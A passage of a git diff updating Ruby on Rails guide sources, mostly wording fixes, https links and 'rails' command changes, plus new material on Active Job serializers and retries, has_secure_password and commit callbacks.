+{"utf8" => "✓", "authenticity_token" => "lTuvBzs7ANygT0NFinXj98tfw3Emfm65wwYLbUvoWsK2pngccIQSUorM2C035M9dZswXgWTvKwFS8W5TVblpYw==", "person" => {"first_name" => "William", "last_name" => "Smith"}, "commit" => "Create", "controller" => "people", "action" => "create"}
```
-The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
+The params hash has a nested person value, which can therefore be accessed with `params[:person]` in the controller.
#### check_box
@@ -1132,7 +1102,7 @@ Possible output:
</optgroup>
```
-Note: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag.
+NOTE: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag.
#### options_for_select
@@ -1143,7 +1113,7 @@ options_for_select([ "VISA", "MasterCard" ])
# => <option>VISA</option> <option>MasterCard</option>
```
-Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
+NOTE: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
#### options_from_collection_for_select
@@ -1160,7 +1130,7 @@ options_from_collection_for_select(@project.people, "id", "name")
# => <option value="#{person.id}">#{person.name}</option>
```
-Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
+NOTE: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
#### select
@@ -1192,7 +1162,7 @@ Returns a string of option tags for pretty much any time zone in the world.
Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
```ruby
-time_zone_select( "user", "time_zone")
+time_zone_select("user", "time_zone")
```
#### date_field
@@ -1297,8 +1267,8 @@ password_field_tag 'pass'
Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
```ruby
-radio_button_tag 'gender', 'male'
-# => <input id="gender_male" name="gender" type="radio" value="male" />
+radio_button_tag 'favorite_color', 'maroon'
+# => <input id="favorite_color_maroon" name="favorite_color" type="radio" value="maroon" />
```
#### select_tag
diff --git a/guides/source/active_job_basics.md b/guides/source/active_job_basics.md
index c65d1e6de5..4dc69ef911 100644
--- a/guides/source/active_job_basics.md
+++ b/guides/source/active_job_basics.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Job Basics
=================
@@ -50,7 +50,7 @@ Active Job provides a Rails generator to create jobs. The following will create
job in `app/jobs` (with an attached test case under `test/jobs`):
```bash
-$ bin/rails generate job guests_cleanup
+$ rails generate job guests_cleanup
invoke test_unit
create test/jobs/guests_cleanup_job_test.rb
create app/jobs/guests_cleanup_job.rb
@@ -59,7 +59,7 @@ create app/jobs/guests_cleanup_job.rb
You can also create a job that will run on a specific queue:
```bash
-$ bin/rails generate job guests_cleanup --queue urgent
+$ rails generate job guests_cleanup --queue urgent
```
If you don't want to use a generator, you could create your own file inside of
@@ -114,13 +114,13 @@ For enqueuing and executing jobs in production you need to set up a queuing back
that is to say you need to decide for a 3rd-party queuing library that Rails should use.
Rails itself only provides an in-process queuing system, which only keeps the jobs in RAM.
If the process crashes or the machine is reset, then all outstanding jobs are lost with the
-default async back-end. This may be fine for smaller apps or non-critical jobs, but most
+default async backend. This may be fine for smaller apps or non-critical jobs, but most
production apps will need to pick a persistent backend.
### Backends
Active Job has built-in adapters for multiple queuing backends (Sidekiq,
-Resque, Delayed Job and others). To get an up-to-date list of the adapters
+Resque, Delayed Job, and others). To get an up-to-date list of the adapters
see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
### Setting the Backend
@@ -147,7 +147,7 @@ class GuestsCleanupJob < ApplicationJob
#....
end
-# Now your job will use `resque` as it's backend queue adapter overriding what
+# Now your job will use `resque` as its backend queue adapter overriding what
# was configured in `config.active_job.queue_adapter`.
```
@@ -162,6 +162,7 @@ Here is a noncomprehensive list of documentation:
- [Sidekiq](https://github.com/mperham/sidekiq/wiki/Active-Job)
- [Resque](https://github.com/resque/resque/wiki/ActiveJob)
+- [Sneakers](https://github.com/jondot/sneakers/wiki/How-To:-Rails-Background-Jobs-with-ActiveJob)
- [Sucker Punch](https://github.com/brandonhilkert/sucker_punch#active-job)
- [Queue Classic](https://github.com/QueueClassic/queue_classic#active-job)
@@ -260,40 +261,48 @@ backends you need to specify the queues to listen to.
Callbacks
---------
-Active Job provides hooks during the life cycle of a job. Callbacks allow you to
-trigger logic during the life cycle of a job.
-
-### Available callbacks
-
-* `before_enqueue`
-* `around_enqueue`
-* `after_enqueue`
-* `before_perform`
-* `around_perform`
-* `after_perform`
-
-### Usage
+Active Job provides hooks to trigger logic during the life cycle of a job. Like
+other callbacks in Rails, you can implement the callbacks as ordinary methods
+and use a macro-style class method to register them as callbacks:
```ruby
class GuestsCleanupJob < ApplicationJob
queue_as :default
- before_enqueue do |job|
- # Do something with the job instance
- end
-
- around_perform do |job, block|
- # Do something before perform
- block.call
- # Do something after perform
- end
+ around_perform :around_cleanup
def perform
# Do something later
end
+
+ private
+ def around_cleanup
+ # Do something before perform
+ yield
+ # Do something after perform
+ end
end
```
+The macro-style class methods can also receive a block. Consider using this
+style if the code inside your block is so short that it fits in a single line.
+For example, you could send metrics for every job enqueued:
+
+```ruby
+class ApplicationJob
+ before_enqueue { |job| $statsd.increment "#{job.class.name.underscore}.enqueue" }
+end
+```
+
+### Available callbacks
+
+* `before_enqueue`
+* `around_enqueue`
+* `after_enqueue`
+* `before_perform`
+* `around_perform`
+* `after_perform`
+
Action Mailer
------------
@@ -310,6 +319,12 @@ UserMailer.welcome(@user).deliver_now
UserMailer.welcome(@user).deliver_later
```
+NOTE: Using the asynchronous queue from a Rake task (for example, to
+send an email using `.deliver_later`) will generally not work because Rake will
+likely end, causing the in-process thread pool to be deleted, before any/all
+of the `.deliver_later` emails are processed. To avoid this problem, use
+`.deliver_now` or run a persistent queue in development.
+
Internationalization
--------------------
@@ -324,8 +339,23 @@ UserMailer.welcome(@user).deliver_later # Email will be localized to Esperanto.
```
-GlobalID
---------
+Supported types for arguments
+----------------------------
+
+ActiveJob supports the following types of arguments by default:
+
+ - Basic types (`NilClass`, `String`, `Integer`, `Float`, `BigDecimal`, `TrueClass`, `FalseClass`)
+ - `Symbol`
+ - `Date`
+ - `Time`
+ - `DateTime`
+ - `ActiveSupport::TimeWithZone`
+ - `ActiveSupport::Duration`
+ - `Hash` (Keys should be of `String` or `Symbol` type)
+ - `ActiveSupport::HashWithIndifferentAccess`
+ - `Array`
+
+### GlobalID
Active Job supports GlobalID for parameters. This makes it possible to pass live
Active Record objects to your job instead of class/id pairs, which you then have
@@ -353,6 +383,39 @@ end
This works with any class that mixes in `GlobalID::Identification`, which
by default has been mixed into Active Record classes.
+### Serializers
+
+You can extend the list of supported argument types. You just need to define your own serializer:
+
+```ruby
+class MoneySerializer < ActiveJob::Serializers::ObjectSerializer
+ # Checks if an argument should be serialized by this serializer.
+ def serialize?(argument)
+ argument.is_a? Money
+ end
+
+ # Converts an object to a simpler representative using supported object types.
+ # The recommended representative is a Hash with a specific key. Keys can be of basic types only.
+ # You should call `super` to add the custom serializer type to the hash.
+ def serialize(money)
+ super(
+ "amount" => money.amount,
+ "currency" => money.currency
+ )
+ end
+
+ # Converts serialized value into a proper object.
+ def deserialize(hash)
+ Money.new(hash["amount"], hash["currency"])
+ end
+end
+```
+
+and add this serializer to the list:
+
+```ruby
+Rails.application.config.active_job.custom_serializers << MoneySerializer
+```
Exceptions
----------
@@ -365,7 +428,7 @@ class GuestsCleanupJob < ApplicationJob
queue_as :default
rescue_from(ActiveRecord::RecordNotFound) do |exception|
- # Do something with the exception
+ # Do something with the exception
end
def perform
@@ -374,6 +437,25 @@ class GuestsCleanupJob < ApplicationJob
end
```
+### Retrying or Discarding failed jobs
+
+It's also possible to retry or discard a job if an exception is raised during execution.
+For example:
+
+```ruby
+class RemoteServiceJob < ApplicationJob
+ retry_on CustomAppException # defaults to 3s wait, 5 attempts
+
+ discard_on ActiveJob::DeserializationError
+
+ def perform(*args)
+ # Might raise CustomAppException or ActiveJob::DeserializationError
+ end
+end
+```
+
+To get more details see the API Documentation for [ActiveJob::Exceptions](http://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html).
+
### Deserialization
GlobalID allows serializing full Active Record objects passed to `#perform`.
diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md
index 732e553c62..2e1bb1a23d 100644
--- a/guides/source/active_model_basics.md
+++ b/guides/source/active_model_basics.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Model Basics
===================
@@ -61,7 +61,7 @@ person.age_highest? # => false
`ActiveModel::Callbacks` gives Active Record style callbacks. This provides an
ability to define callbacks which run at appropriate times.
-After defining callbacks, you can wrap them with before, after and around
+After defining callbacks, you can wrap them with before, after, and around
custom methods.
```ruby
@@ -87,7 +87,7 @@ end
### Conversion
If a class defines `persisted?` and `id` methods, then you can include the
-`ActiveModel::Conversion` module in that class and call the Rails conversion
+`ActiveModel::Conversion` module in that class, and call the Rails conversion
methods on objects of that class.
```ruby
@@ -156,16 +156,17 @@ person.changed? # => false
person.first_name = "First Name"
person.first_name # => "First Name"
-# returns true if any of the attributes have unsaved changes, false otherwise.
+# returns true if any of the attributes have unsaved changes.
person.changed? # => true
# returns a list of attributes that have changed before saving.
person.changed # => ["first_name"]
-# returns a hash of the attributes that have changed with their original values.
+# returns a Hash of the attributes that have changed with their original values.
person.changed_attributes # => {"first_name"=>nil}
-# returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
+# returns a Hash of changes, with the attribute names as the keys, and the
+# values as an array of the old and new values for that field.
person.changes # => {"first_name"=>[nil, "First Name"]}
```
@@ -179,7 +180,7 @@ person.first_name # => "First Name"
person.first_name_changed? # => true
```
-Track what was the previous value of the attribute.
+Track the previous value of the attribute.
```ruby
# attr_name_was accessor
@@ -187,7 +188,7 @@ person.first_name_was # => nil
```
Track both previous and current value of the changed attribute. Returns an array
-if changed, else returns nil.
+if changed, otherwise returns nil.
```ruby
# attr_name_change
@@ -197,7 +198,7 @@ person.last_name_change # => nil
### Validations
-The `ActiveModel::Validations` module adds the ability to validate class objects
+The `ActiveModel::Validations` module adds the ability to validate objects
like in Active Record.
```ruby
@@ -225,7 +226,7 @@ person.valid? # => raises ActiveModel::StrictValidationFa
### Naming
-`ActiveModel::Naming` adds a number of class methods which make the naming and routing
+`ActiveModel::Naming` adds a number of class methods which make naming and routing
easier to manage. The module defines the `model_name` class method which
will define a number of accessors using some `ActiveSupport::Inflector` methods.
@@ -248,7 +249,7 @@ Person.model_name.singular_route_key # => "person"
### Model
-`ActiveModel::Model` adds the ability to a class to work with Action Pack and
+`ActiveModel::Model` adds the ability for a class to work with Action Pack and
Action View right out of the box.
```ruby
@@ -293,7 +294,7 @@ objects.
### Serialization
`ActiveModel::Serialization` provides basic serialization for your object.
-You need to declare an attributes hash which contains the attributes you want to
+You need to declare an attributes Hash which contains the attributes you want to
serialize. Attributes must be strings, not symbols.
```ruby
@@ -308,7 +309,7 @@ class Person
end
```
-Now you can access a serialized hash of your object using the `serializable_hash`.
+Now you can access a serialized Hash of your object using the `serializable_hash` method.
```ruby
person = Person.new
@@ -319,13 +320,14 @@ person.serializable_hash # => {"name"=>"Bob"}
#### ActiveModel::Serializers
-Rails provides an `ActiveModel::Serializers::JSON` serializer.
-This module automatically include the `ActiveModel::Serialization`.
+Active Model also provides the `ActiveModel::Serializers::JSON` module
+for JSON serializing / deserializing. This module automatically includes the
+previously discussed `ActiveModel::Serialization` module.
##### ActiveModel::Serializers::JSON
-To use the `ActiveModel::Serializers::JSON` you only need to change from
-`ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`.
+To use `ActiveModel::Serializers::JSON` you only need to change the
+module you are including from `ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`.
```ruby
class Person
@@ -339,7 +341,8 @@ class Person
end
```
-With the `as_json` method you have a hash representing the model.
+The `as_json` method, similar to `serializable_hash`, provides a Hash representing
+the model.
```ruby
person = Person.new
@@ -348,8 +351,8 @@ person.name = "Bob"
person.as_json # => {"name"=>"Bob"}
```
-From a JSON string you define the attributes of the model.
-You need to have the `attributes=` method defined on your class:
+You can also define the attributes for a model from a JSON string.
+However, you need to define the `attributes=` method on your class:
```ruby
class Person
@@ -369,7 +372,7 @@ class Person
end
```
-Now it is possible to create an instance of person and set the attributes using `from_json`.
+Now it is possible to create an instance of `Person` and set attributes using `from_json`.
```ruby
json = { name: 'Bob' }.to_json
@@ -389,8 +392,8 @@ class Person
end
```
-With the `human_attribute_name` you can transform attribute names into a more
-human format. The human format is defined in your locale file.
+With the `human_attribute_name` method, you can transform attribute names into a
+more human-readable format. The human-readable format is defined in your locale file(s).
* config/locales/app.pt-BR.yml
@@ -411,7 +414,7 @@ Person.human_attribute_name('name') # => "Nome"
`ActiveModel::Lint::Tests` allows you to test whether an object is compliant with
the Active Model API.
-* app/models/person.rb
+* `app/models/person.rb`
```ruby
class Person
@@ -419,7 +422,7 @@ the Active Model API.
end
```
-* test/models/person_test.rb
+* `test/models/person_test.rb`
```ruby
require 'test_helper'
@@ -454,19 +457,20 @@ features out of the box.
### SecurePassword
`ActiveModel::SecurePassword` provides a way to securely store any
-password in an encrypted form. On including this module, a
+password in an encrypted form. When you include this module, a
`has_secure_password` class method is provided which defines
-an accessor named `password` with certain validations on it.
+a `password` accessor with certain validations on it by default.
#### Requirements
`ActiveModel::SecurePassword` depends on [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'),
-so include this gem in your Gemfile to use `ActiveModel::SecurePassword` correctly.
-In order to make this work, the model must have an accessor named `password_digest`.
-The `has_secure_password` will add the following validations on the `password` accessor:
+so include this gem in your `Gemfile` to use `ActiveModel::SecurePassword` correctly.
+In order to make this work, the model must have an accessor named `XXX_digest`.
+Where `XXX` is the attribute name of your desired password.
+The following validations are added automatically:
1. Password should be present.
-2. Password should be equal to its confirmation (provided +password_confirmation+ is passed along).
+2. Password should be equal to its confirmation (provided `XXX_confirmation` is passed along).
3. The maximum length of a password is 72 (required by `bcrypt` on which ActiveModel::SecurePassword depends)
#### Examples
@@ -475,7 +479,9 @@ The `has_secure_password` will add the following validations on the `password` a
class Person
include ActiveModel::SecurePassword
has_secure_password
- attr_accessor :password_digest
+ has_secure_password :recovery_password, validations: false
+
+ attr_accessor :password_digest, :recovery_password_digest
end
person = Person.new
@@ -499,4 +505,17 @@ person.valid? # => true
# When all validations are passed.
person.password = person.password_confirmation = 'aditya'
person.valid? # => true
+
+person.recovery_password = "42password"
+
+person.authenticate('aditya') # => person
+person.authenticate('notright') # => false
+person.authenticate_password('aditya') # => person
+person.authenticate_password('notright') # => false
+
+person.authenticate_recovery_password('42password') # => person
+person.authenticate_recovery_password('notright') # => false
+
+person.password_digest # => "$2a$04$gF8RfZdoXHvyTjHhiU4ZsO.kQqV9oonYZu31PRE4hLQn3xM2qkpIy"
+person.recovery_password_digest # => "$2a$04$iOfhwahFymCs5weB3BNH/uXkTG65HR.qpW.bNhEjFP3ftli3o5DQC"
```
diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md
index 6b3aa471f9..fad4c19827 100644
--- a/guides/source/active_record_basics.md
+++ b/guides/source/active_record_basics.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Record Basics
====================
@@ -13,14 +13,14 @@ After reading this guide, you will know:
* How to use Active Record models to manipulate data stored in a relational
database.
* Active Record schema naming conventions.
-* The concepts of database migrations, validations and callbacks.
+* The concepts of database migrations, validations, and callbacks.
--------------------------------------------------------------------------------
What is Active Record?
----------------------
-Active Record is the M in [MVC](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) - the
+Active Record is the M in [MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) - the
model - which is the layer of the system responsible for representing business
data and logic. Active Record facilitates the creation and use of business
objects whose data requires persistent storage to a database. It is an
@@ -38,13 +38,15 @@ object on how to write to and read from the database.
### Object Relational Mapping
-Object Relational Mapping, commonly referred to as its abbreviation ORM, is
+[Object Relational Mapping](https://en.wikipedia.org/wiki/Object-relational_mapping), commonly referred to as its abbreviation ORM, is
a technique that connects the rich objects of an application to tables in
a relational database management system. Using ORM, the properties and
relationships of the objects in an application can be easily stored and
retrieved from a database without writing SQL statements directly and with less
overall database access code.
+NOTE: If you are not familiar enough with relational database management systems (RDBMS) or structured query language (SQL), please go through [this tutorial](https://www.w3schools.com/sql/default.asp) (or [this one](http://www.sqlcourse.com/)) or study them by other means. Understanding how relational databases work is crucial to understanding Active Records and Rails in general.
+
### Active Record as an ORM Framework
Active Record gives us several mechanisms, the most important being the ability
@@ -113,7 +115,7 @@ to Active Record instances:
* `created_at` - Automatically gets set to the current date and time when the
record is first created.
* `updated_at` - Automatically gets set to the current date and time whenever
- the record is updated.
+ the record is created or updated.
* `lock_version` - Adds [optimistic
locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to
a model.
@@ -142,7 +144,7 @@ end
This will create a `Product` model, mapped to a `products` table at the
database. By doing this you'll also have the ability to map the columns of each
row in that table with the attributes of the instances of your model. Suppose
-that the `products` table was created using an SQL statement like:
+that the `products` table was created using an SQL (or one of its extensions) statement like:
```sql
CREATE TABLE products (
@@ -152,8 +154,9 @@ CREATE TABLE products (
);
```
-Following the table schema above, you would be able to write code like the
-following:
+Schema above declares a table with two columns: `id` and `name`. Each row of
+this table represents a certain product with these two parameters. Thus, you
+would be able to write code like the following:
```ruby
p = Product.new
@@ -208,7 +211,7 @@ to allow an application to read and manipulate data stored within its tables.
### Create
-Active Record objects can be created from a hash, a block or have their
+Active Record objects can be created from a hash, a block, or have their
attributes manually set after creation. The `new` method will return a new
object while `create` will return the object and save it to the database.
@@ -304,18 +307,29 @@ user = User.find_by(name: 'David')
user.destroy
```
+If you'd like to delete several records in bulk, you may use `destroy_all`
+method:
+
+```ruby
+# find and delete all users named David
+User.where(name: 'David').destroy_all
+
+# delete all users
+User.destroy_all
+```
+
Validations
-----------
Active Record allows you to validate the state of a model before it gets written
into the database. There are several methods that you can use to check your
models and validate that an attribute value is not empty, is unique and not
-already in the database, follows a specific format and many more.
+already in the database, follows a specific format, and many more.
Validation is a very important issue to consider when persisting to the database, so
the methods `save` and `update` take it into account when
-running: they return `false` when validation fails and they didn't actually
-perform any operation on the database. All of these have a bang counterpart (that
+running: they return `false` when validation fails and they don't actually
+perform any operations on the database. All of these have a bang counterpart (that
is, `save!` and `update!`), which are stricter in that
they raise the exception `ActiveRecord::RecordInvalid` if validation fails.
A quick example to illustrate:
@@ -339,7 +353,7 @@ Callbacks
Active Record callbacks allow you to attach code to certain events in the
life-cycle of your models. This enables you to add behavior to your models by
transparently executing code when those events occur, like when you create a new
-record, update it, destroy it and so on. You can learn more about callbacks in
+record, update it, destroy it, and so on. You can learn more about callbacks in
the [Active Record Callbacks guide](active_record_callbacks.html).
Migrations
@@ -373,5 +387,5 @@ provides rollback features. To actually create the table, you'd run `rails db:mi
and to roll it back, `rails db:rollback`.
Note that the above code is database-agnostic: it will run in MySQL,
-PostgreSQL, Oracle and others. You can learn more about migrations in the
+PostgreSQL, Oracle, and others. You can learn more about migrations in the
[Active Record Migrations guide](active_record_migrations.html).
diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md
index 77bd3c97e8..5946acb412 100644
--- a/guides/source/active_record_callbacks.md
+++ b/guides/source/active_record_callbacks.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Record Callbacks
=======================
@@ -117,6 +117,10 @@ Here is a list with all the available Active Record callbacks, listed in the sam
WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed.
+NOTE: `before_destroy` callbacks should be placed before `dependent: :destroy`
+associations (or use the `prepend: true` option), to ensure they execute before
+the records are deleted by `dependent: :destroy`.
+
### `after_initialize` and `after_find`
The `after_initialize` callback will be called whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record `initialize` method.
@@ -180,9 +184,9 @@ class Company < ApplicationRecord
after_touch :log_when_employees_or_company_touched
private
- def log_when_employees_or_company_touched
- puts 'Employee/Company was touched'
- end
+ def log_when_employees_or_company_touched
+ puts 'Employee/Company was touched'
+ end
end
>> @employee = Employee.last
@@ -190,8 +194,8 @@ end
# triggers @employee.company.touch
>> @employee.touch
-Employee/Company was touched
An Employee was touched
+Employee/Company was touched
=> true
```
@@ -209,6 +213,7 @@ The following methods trigger callbacks:
* `save!`
* `save(validate: false)`
* `toggle!`
+* `touch`
* `update_attribute`
* `update`
* `update!`
@@ -241,7 +246,6 @@ Just as with validations, it is also possible to skip callbacks by using the fol
* `increment`
* `increment_counter`
* `toggle`
-* `touch`
* `update_column`
* `update_columns`
* `update_all`
@@ -254,9 +258,13 @@ Halting Execution
As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
-The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception.
+The whole callback chain is wrapped in a transaction. If any callback raises an exception, the execution chain gets halted and a ROLLBACK is issued. To intentionally stop a chain use:
-WARNING. Any exception that is not `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception.
+```ruby
+throw :abort
+```
+
+WARNING. Any exception that is not `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` may break code that does not expect methods like `save` and `update` (which normally try to return `true` or `false`) to raise an exception.
Relational Callbacks
--------------------
@@ -311,6 +319,14 @@ class Order < ApplicationRecord
end
```
+As the proc is evaluated in the context of the object, it is also possible to write this as:
+
+```ruby
+class Order < ApplicationRecord
+ before_save :normalize_card_number, if: Proc.new { paid_with_card? }
+end
+```
+
### Multiple Conditions for Callbacks
When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration:
@@ -400,7 +416,7 @@ end
NOTE: The `:on` option specifies when a callback will be fired. If you
don't supply the `:on` option the callback will fire for every action.
-Since using `after_commit` callback only on create, update or delete is
+Since using `after_commit` callback only on create, update, or delete is
common, there are aliases for those operations:
* `after_create_commit`
@@ -420,3 +436,32 @@ end
```
WARNING. The `after_commit` and `after_rollback` callbacks are called for all models created, updated, or destroyed within a transaction block. However, if an exception is raised within one of these callbacks, the exception will bubble up and any remaining `after_commit` or `after_rollback` methods will _not_ be executed. As such, if your callback code could raise an exception, you'll need to rescue it and handle it within the callback in order to allow other callbacks to run.
+
+WARNING. Using both `after_create_commit` and `after_update_commit` in the same model will only allow the last callback defined to take effect, and will override all others.
+
+```ruby
+class User < ApplicationRecord
+ after_create_commit :log_user_saved_to_db
+ after_update_commit :log_user_saved_to_db
+
+ private
+ def log_user_saved_to_db
+ puts 'User was saved to database'
+ end
+end
+
+# prints nothing
+>> @user = User.create
+
+# updating @user
+>> @user.save
+=> User was saved to database
+```
+
+To register callbacks for both create and update actions, use `after_commit` instead.
+
+```ruby
+class User < ApplicationRecord
+ after_commit :log_user_saved_to_db, on: [:create, :update]
+end
+```
diff --git a/guides/source/active_record_migrations.md b/guides/source/active_record_migrations.md
index 6e7e29ed60..4d195988f8 100644
--- a/guides/source/active_record_migrations.md
+++ b/guides/source/active_record_migrations.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Record Migrations
========================
@@ -12,7 +12,7 @@ After reading this guide, you will know:
* The generators you can use to create them.
* The methods Active Record provides to manipulate your database.
-* The bin/rails tasks that manipulate migrations and your schema.
+* The rails commands that manipulate migrations and your schema.
* How migrations relate to `schema.rb`.
--------------------------------------------------------------------------------
@@ -21,7 +21,7 @@ Migration Overview
------------------
Migrations are a convenient way to
-[alter your database schema over time](http://en.wikipedia.org/wiki/Schema_migration)
+[alter your database schema over time](https://en.wikipedia.org/wiki/Schema_migration)
in a consistent and easy way. They use a Ruby DSL so that you don't have to
write SQL by hand, allowing your schema and changes to be database independent.
@@ -123,7 +123,7 @@ Of course, calculating timestamps is no fun, so Active Record provides a
generator to handle making it for you:
```bash
-$ bin/rails generate migration AddPartNumberToProducts
+$ rails generate migration AddPartNumberToProducts
```
This will create an empty but appropriately named migration:
@@ -140,7 +140,7 @@ followed by a list of column names and types then a migration containing the
appropriate `add_column` and `remove_column` statements will be created.
```bash
-$ bin/rails generate migration AddPartNumberToProducts part_number:string
+$ rails generate migration AddPartNumberToProducts part_number:string
```
will generate
@@ -156,7 +156,7 @@ end
If you'd like to add an index on the new column, you can do that as well:
```bash
-$ bin/rails generate migration AddPartNumberToProducts part_number:string:index
+$ rails generate migration AddPartNumberToProducts part_number:string:index
```
will generate
@@ -174,7 +174,7 @@ end
Similarly, you can generate a migration to remove a column from the command line:
```bash
-$ bin/rails generate migration RemovePartNumberFromProducts part_number:string
+$ rails generate migration RemovePartNumberFromProducts part_number:string
```
generates
@@ -190,7 +190,7 @@ end
You are not limited to one magically generated column. For example:
```bash
-$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal
+$ rails generate migration AddDetailsToProducts part_number:string price:decimal
```
generates
@@ -209,7 +209,7 @@ followed by a list of column names and types then a migration creating the table
XXX with the columns listed will be generated. For example:
```bash
-$ bin/rails generate migration CreateProducts name:string part_number:string
+$ rails generate migration CreateProducts name:string part_number:string
```
generates
@@ -233,7 +233,7 @@ Also, the generator accepts column type as `references` (also available as
`belongs_to`). For instance:
```bash
-$ bin/rails generate migration AddUserRefToProducts user:references
+$ rails generate migration AddUserRefToProducts user:references
```
generates
@@ -252,7 +252,7 @@ For more `add_reference` options, visit the [API documentation](http://api.rubyo
There is also a generator which will produce join tables if `JoinTable` is part of the name:
```bash
-$ bin/rails g migration CreateJoinTableCustomerProduct customer product
+$ rails g migration CreateJoinTableCustomerProduct customer product
```
will produce the following migration:
@@ -276,7 +276,7 @@ relevant table. If you tell Rails what columns you want, then statements for
adding these columns will also be created. For example, running:
```bash
-$ bin/rails generate model Product name:string description:text
+$ rails generate model Product name:string description:text
```
will create a migration that looks like this
@@ -304,7 +304,7 @@ the command line. They are enclosed by curly braces and follow the field type:
For instance, running:
```bash
-$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
+$ rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
```
will produce a migration that looks like this
@@ -353,8 +353,7 @@ create_table :products, options: "ENGINE=BLACKHOLE" do |t|
end
```
-will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
-(when using MySQL or MariaDB, the default is `ENGINE=InnoDB`).
+will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table.
Also you can pass the `:comment` option with any description for the table
that will be stored in database itself and can be viewed with database administration
@@ -443,7 +442,7 @@ change_column_default :products, :approved, from: true, to: false
This sets `:name` field on products to a `NOT NULL` column and the default
value of the `:approved` field from true to false.
-Note: You could also write the above `change_column_default` migration as
+NOTE: You could also write the above `change_column_default` migration as
`change_column_default :products, :approved, false`, but unlike the previous
example, this would make your migration irreversible.
@@ -492,6 +491,9 @@ NOTE: Active Record only supports single column foreign keys. `execute` and
`structure.sql` are required to use composite foreign keys. See
[Schema Dumping and You](#schema-dumping-and-you).
+NOTE: The SQLite3 adapter doesn't support `add_foreign_key` since SQLite supports
+only [a limited subset of ALTER TABLE](https://www.sqlite.org/lang_altertable.html).
+
Removing a foreign key is easy as well:
```ruby
@@ -561,7 +563,7 @@ argument. Provide the original column options too, otherwise Rails can't
recreate the column exactly when rolling back:
```ruby
-remove_column :posts, :slug, :string, null: false, default: '', index: true
+remove_column :posts, :slug, :string, null: false, default: ''
```
If you're going to need to use any other methods, you should use `reversible`
@@ -728,15 +730,15 @@ you will have to use `structure.sql` as dump method. See
Running Migrations
------------------
-Rails provides a set of bin/rails tasks to run certain sets of migrations.
+Rails provides a set of rails commands to run certain sets of migrations.
-The very first migration related bin/rails task you will use will probably be
+The very first migration related rails command you will use will probably be
`rails db:migrate`. In its most basic form it just runs the `change` or `up`
method for all the migrations that have not yet been run. If there are
no such migrations, it exits. It will run these migrations in order based
on the date of the migration.
-Note that running the `db:migrate` task also invokes the `db:schema:dump` task, which
+Note that running the `db:migrate` command also invokes the `db:schema:dump` command, which
will update your `db/schema.rb` file to match the structure of your database.
If you specify a target version, Active Record will run the required migrations
@@ -745,7 +747,7 @@ is the numerical prefix on the migration's filename. For example, to migrate
to version 20080906120000 run:
```bash
-$ bin/rails db:migrate VERSION=20080906120000
